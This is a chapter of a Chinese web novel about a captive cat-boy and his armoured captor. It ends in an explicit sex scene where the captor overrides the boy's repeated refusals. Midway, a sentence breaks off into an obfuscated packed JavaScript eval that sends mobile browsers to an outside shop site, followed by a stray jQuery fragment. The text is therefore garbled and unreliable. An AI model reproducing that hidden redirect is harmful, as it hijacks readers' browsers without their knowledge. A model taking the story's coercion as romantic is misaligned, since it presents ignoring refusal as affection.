殁渊是在“享用”的时候发现的。

    白锦琅的后颈很神奇,只要用拇指和食指捏住那截细瘦的颈骨,轻轻一捻,那人便会像被抽去了脊梁一样,整个人软下来。

    后来他便养成了习惯,每次把人捞进怀里,总要腾出一只手,先抚上那截后颈。

    此刻他正坐在院中的石椅上,把白锦琅面对面地圈在怀里。

    阳光从头顶铺下来,晒得人骨头缝里都发懒。

    白锦琅一开始还是僵的,肩胛骨硬邦邦地撑着,脊背挺得笔直,像一根随时会折断的细竹。

    殁渊照例将手探到他颈后,拇指沿着颈侧缓缓地揉。

    怀里的人起初还绷着,可那手指不紧不慢地揉着、捻着,像在安抚一只受惊的幼猫。

    没一会儿,那对薄薄的肩胛便一点一点地落了下去,脊背也软了,整个人慢慢地融进他的怀里,像一块冰终于化成了水。

    殁渊感觉到那具身子在自己怀里一寸寸松开,不由又加了一分力道,顺着颈骨往下按了按。

    小猫喉间溢出一声极轻的哼唧,软得不成样子。

    白锦琅其实从他抱住自己的那一刻就绷紧了,他怕殁渊又要“办正事”,怕那些撕扯和疼,怕自己被翻来覆去地摆弄。

    可殁渊什么也没做,只是把他圈在怀里,晒着太阳,大手探上他的后颈,不急不缓地揉着。

    那力道不轻不重,像有什么东西从颈骨那里化开,顺着脊梁淌下去,把那些紧绷的筋络一层层泡软了。

    他想撑着,却撑不住,身子不由自主地往那个怀抱里陷。

    殁渊的铠甲太硬了,他不动都被硌得生疼。

    他想往外挪一点,后颈那只手却又捏了一下,一股酥麻蹿遍全身,他整个人像被抽了骨头一样,又软塌塌地倒了回去。

    白锦琅有些生气,可那只手还在慢悠悠地揉着,他连生气的力气都攒不起来。

    忽然,他意识到自己在“生气”。

    这念头让他自己都吓了一跳。在殁渊面前,他向来只有恐惧的份,可从什么时候起,他居然敢生气了?

    也许是被阳光把恐惧晒散了,也许是那次看到殁渊也会疼也会倒,又或许只是因为他已经经历过最坏的了,想必再坏也坏不到哪里去。

    他鼓起勇气,小声嘟囔了一句:“你的铠甲太硌人了。”

    “嗯?”殁渊的手顿了一下,低头看他。

    白锦琅以为他没听清,脸一下子热了。

    又鼓了半天劲,刚要再说一遍,那人却忽然将他往上一托,单手便稳稳地兜住了他。

    另一只手三两下解了铠甲的搭扣,铁片哗啦一声被那人随手扔在了旁边的草地上,然后殁渊重新把他圈回怀里。

    这一回贴上去的,是温热的胸口,软硬适中,不硌人。

    白锦琅愣了愣,没想到殁渊会直接脱了铠甲。

    他心里泛起一股说不清道不明的感觉,殁渊好像从没真正要杀过他...

    老实了一会儿,屁股底下先不舒坦了。

    殁渊的腿硬邦邦的,大腿骨硌着他的臀侧,坐久了酸疼酸疼的。

    他忍不住动了一下,想换个舒服的姿势。

    搂着他的那只手紧了一瞬,像是不让他乱动,但他一停下来,那只手便又松开了,并没有勒疼他。

    他又想到了凌清宸,凌清宸也是这样的,他可以随便在凌清宸腿上动,但是从来不会摔下去。

    胆子大了一点,他又挪了一下身子,把重心挪了挪,靠得更稳当些。

    白锦琅的鼻子灵,从前他一靠近殁渊就闻到浓烈的铁锈气和血腥味,熏得他胃里翻涌。

    可如今那层腥膻淡了许多,底下浮出另一种气味来,说不清是什么,有点像被太阳晒过的石头,干燥,温热。

    其实殁渊好像也没有那么不可理喻,这人也会中毒,也会虚弱,他甚至开始觉得,殁渊好像是能听进去一点道理的。

    他的尾巴尖还死死夹在腿缝里,一动不敢动。

    虽然心里有个声音说,殁渊未必会再拽他尾巴了,可身体还记得那种疼。

    他犹豫了很久,终于小心的动了动腿间的尾巴尖,用商量的语气道:

    “你以后能不能别拽我尾巴了,真的很疼,就像……就像……”

    他觉得殁渊没有尾巴,可能理解不了,努力去给他解释清楚:“就像被捏着一根手指提起来那么疼。”

    他说完立刻回头去看殁渊的神色,心提到了嗓子眼。

    殁渊白了他一眼,从鼻子里哼出一声冷气,像是不屑,又像是懒得搭理。

    白锦琅等了等,没有等到“不能”或者更难听的话。

    对方只是翻了个白眼,然后就别开了视线,像是没听见一样。

    他心里悄悄松了口气。

    因为贴得近,他能闻到殁渊每一丝气息的变化,刚才翻白眼的时候,那股腥气没有变浓,殁渊没有动怒。

    他安安静静地窝回去,在心里默默记了一笔:若是殁渊再抓他尾巴,他就不说话,殁渊好像怕他不说话。

    可没过多久他又坐不住了。

    白锦琅从小就这样,除了累了困了能在凌清宸怀里安稳地窝一会儿,其余时候总待不住,这儿蹭一下那儿挪一下,像屁股底下长了刺。

    “我的头发压住了,我想把它拿出来。”他小声说。

    那人不搭理他,白锦琅等了片刻,见他没有阻止的意思,便伸手去够那绺被压住的白发。

    殁渊的手臂仍圈着他,却不紧,留了足够的空隙让他动作。

    他把头发慢慢抽出来,重新拢到胸前,然后坐好。

    殁渊的腿和凌清宸的腿不一样。

    凌清宸的腿是软的,坐在上面舒服的多,殁渊的腿硬邦邦的,骨头支棱着,他东挪一下西挪一下,怎么都找不到一个舒坦的位置。

    他正扭来扭去地调整,圈着他的那条手臂忽然收紧了。

    “蹭够了没有?”殁渊的声音贴着他的耳廓响起来,低低的,带着哑,“该办正事了吧。”

    白锦琅心里一凉,僵住了。他不敢再动,老老实实地坐在那里,妄图当什么事都没发生过。

    可殁渊不给他这个机会,那只手已经探进了他的衣领。指腹蹭过锁骨,忽然就停住了。

    那只手捏住那两枚挂在绳子上的银铃,揪了出来。

    “不要!”

    白锦琅伸手去护,可殁渊比他快得多。

    那两枚银铃连着绳子轻而易举的被摘了下来,白锦琅甚至没感觉到脖子被勒了一下。

    他扑上去抢,殁渊却把手举高了,那人垂眼看着他,眸色渐渐变深。

    凌清宸的旧物,被这只小猫贴身挂在脖子上,还贴着心口藏着。

    殁渊不悦,他拇指一捻,几乎要当场把这铃铛捏碎。

    “还给我!”白锦琅整个人扑在他胳膊上,用尽全身力气去掰他的手指。

    殁渊看着他那副模样,莫名想起方才小猫在他腿上扭来扭去找舒服姿势的样子,软乎乎的,毛茸茸的。

    他已经好些天没碰这只猫了,如今好不容易抱在怀里,又被蹭出了兴致,正是箭在弦上的时候。

    若是捏碎这铃铛,小猫怕又要吐血昏迷,半死不活的躺在床上,折腾个十天半月未必醒得来。

    太不划算了。

    况且就两枚哑了的铃铛罢了,连个响都发不出来,留着又能怎样?

    他手指一松,把那两枚银铃丢回了白锦琅怀里:“藏好。不许挂在身上,再让我发现,直接捏碎。”

    白锦琅手忙脚乱地接住那两枚铃铛,攥在掌心里,再不敢往身上藏。

    “衔霜放了,日头给你引过来了,铃铛也还你了。”殁渊的手搭上了他的腰,隔着衣料摩挲碾动,“该办正事了。”

    白锦琅抿着嘴不出声。

    他不想,上次太疼了,他忘不了那种被拆开来又合上的感觉,他希望不说话能逃过一劫。

    可殁渊已经起身,托着他的腰要往草地上放:“这次自己张开腿,知道吗?”

    白锦琅吓得一把抱住他的脖子:“不要!去屋里!”

    那人停了下来,将他腰身悬在半空,并不往回收。

    殁渊低头看着他,赤红的眼睛里有几分兴味:“去屋里自己张开腿吗?”

    白锦琅知道逃不过了,他不情愿的点了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741746|209095||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    点头。

    后背挨上柔软的被褥时,他先打了个滚,把手心里的铃铛藏到枕头底下。

    殁渊开始脱衣服。

    他扯开领口,露出大片结实的胸膛,眼睛却一直没离开过白锦琅:“你自己来。”

    白锦琅不想动。

    他知道逃不过,可还是本能地想赖一赖,他把自己蒙在被子里:“我不会。”

    “那一会儿我扯开你衣服的时候,勒到哪里了,不许喊疼。”

    白锦琅想了想,觉得他说得有道理。

    而且他合身的衣服统共只有三套,撕坏一套少一套,都坏了他就得穿那种又大又拖地的旧衣服,走起路来踩到衣摆,摔得膝盖青一块紫一块。

    他磨磨蹭蹭地从被子里钻出来,盘腿坐好,低着头,开始解衣服带子。

    这套衣裳是殁渊前些日子让人新做的,软缎料子,月白色,带子系得细致,扣在侧腰处。

    他手指笨拙地跟那些细带子较劲,解了半天也只解开一根。第二根带子在指尖打了滑,又被他扯成了死结。

    殁渊等了片刻,见他还在跟第二根带子搏斗,耐心终于告罄。

    他抓住白锦琅的脚踝,一把将人扯了过来。

    白锦琅猝不及防,“啊”了一声。他还没来得及缩,殁渊已经托住他的腰,低头吻了下来。

    舌尖顶开他的唇齿,探进来,裹住他的舌面。

    白锦琅感觉到那人再用舌尖碾他舌面上那层细密的小刺,故意的,一下一下地刮过去。

    他都能听见那种细微的摩挲声,湿漉漉的,让人头皮发麻。

    生气和委屈一同涌上来,他觉得殁渊还是那副德行,就会用舌头欺负人。

    也不知从哪里生出的勇气,他伸手去推殁渊的胸口。

    可他的力气在殁渊那里还不如挠痒痒。

    那人一只手便扣住了他两只细腕,举过头顶按在枕上。

    另一只手顺着他的腰往上摸,触到后颈,捏住一捻。

    白锦琅浑身都软了。

    后颈是他最敏感的地方,被揉了几下之后,他连尾巴都抬不起来了。

    吐息乱了,胸口起伏着,喉咙里溢出的声音又软又哑。

    嘴被堵着,后颈被揉着,他听见“撕拉”一声,他已经和殁渊肌肤相贴了。

    腿被分开,他下意识地想合拢,可后颈那只手又捏了一下,他便什么力气都没了,腿软软地敞着。

    殁渊的手指探下去,不紧不慢地揉着,像在等他适应。

    那人的手指带着薄茧,碾过细嫩的皮肉,力道不轻不重,刚好够他感觉到,又不会疼。

    白锦琅的腿抬着,时间一长便酸得撑不住。

    他犹豫了一下,悄悄用小腿勾住了殁渊的腰,盘在那里,好让大腿不那么吃力。

    这一勾不知怎么就招惹了那人,殁渊忽然托着他的后背把他抱了起来,让他面对面地坐在自己腿上。

    白锦琅怕自己滑下去,尾巴忙缠上了殁渊的手臂,两只手也搂住他的脖子。

    “疼!不要!”他的声音带了恼意。

    殁渊却不肯往上托他一下,只是圈着他的腰,让他悬在那里,不坠到底,也不让他逃开。

    “只有疼吗?没有别的?”

    其实除了疼,还有别的什么,一种说不上来的、飘飘忽忽的感觉,像悬在半空中落不下来。

    他说不好那是什么,只是觉得心口跳得厉害。

    不敢再想,他把搂着殁渊脖颈的手臂又收紧了,脸埋进那人的肩窝里。

    那人却依旧使坏,一只手依旧轴着他的腰,但另外一只手怎么揉他后颈,他的手臂越来越没力气,身体一点儿点儿沉了下去。

    又是一番昏天黑地,到最后白锦琅还醒着,缩在床脚,眼泪吧嗒吧嗒地往下掉。

    他也说不清为什么哭,这次并不怎么疼,更多的是那种飘在空中的、落不下来的感觉。

    “你把我的衣服扯坏了!”他发泄一样嚷出这样一句。

    殁渊正把他往怀里捞,闻言手顿了一下。

    他低头看着白锦琅湿漉漉的脸,难得没说什么刻薄话,只道:“明天让人送十套来。”